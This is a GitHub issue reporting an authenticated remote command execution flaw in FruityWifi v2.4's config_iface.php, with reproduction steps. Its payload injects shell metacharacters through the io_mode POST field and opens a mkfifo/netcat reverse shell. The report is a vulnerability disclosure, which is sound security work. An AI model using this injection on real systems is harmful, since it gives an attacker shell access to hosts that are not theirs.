search

xtr4nge / FruityWifi

FruityWiFi is a wireless network auditing tool. The application can be installed in any Debian based system (Jessie) adding the extra packages. Tested in Debian, Kali Linux, Kali Linux ARM (Raspberry Pi), Raspbian (Raspberry Pi), Pwnpi (Raspberry Pi), Bugtraq, NetHunter.
http://www.fruitywifi.com
GNU General Public License v3.0
2.19k stars 498 forks source link

Remote Command Execution in fruityWifi v2.4 #276

Open harsh-bothra opened 4 years ago

harsh-bothra commented 4 years ago

Issue Description

During the analysis of the software, it was observed that the fruitywifi <=v2.4 allows a malicious actor to perform a Remote Command Execution. The issues were found on the /scripts/config_iface.php due to improper handling of shell metacharacters which are a part of the "POST" Request. An authentication bad actor can exploit these issues by creating a malicious payload that will contain shell metacharacters in the io_mode of the "POST Request". This issue happens due to missing input validation in the requests which allows execution of the commands.

Steps To Reproduce

1.Log into the application with credentials.

  1. Navigate to the following URL: https://:port/scripts/config_iface.php.
  2. Intercept the request with proxy tools such as Burp Suite and then change request method to POST.
  3. Now, add "io_mode"`" parameter in POST body and insert payload the following payload:

io_mode=\"'";rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc++1337+>/tmp/f;#

  1. Start a NC Listener on port 1337.
  2. Upon processing the request, you will be able to get the shell. Note: In order to bypass, we need to satisfy the quotes then insert our payload.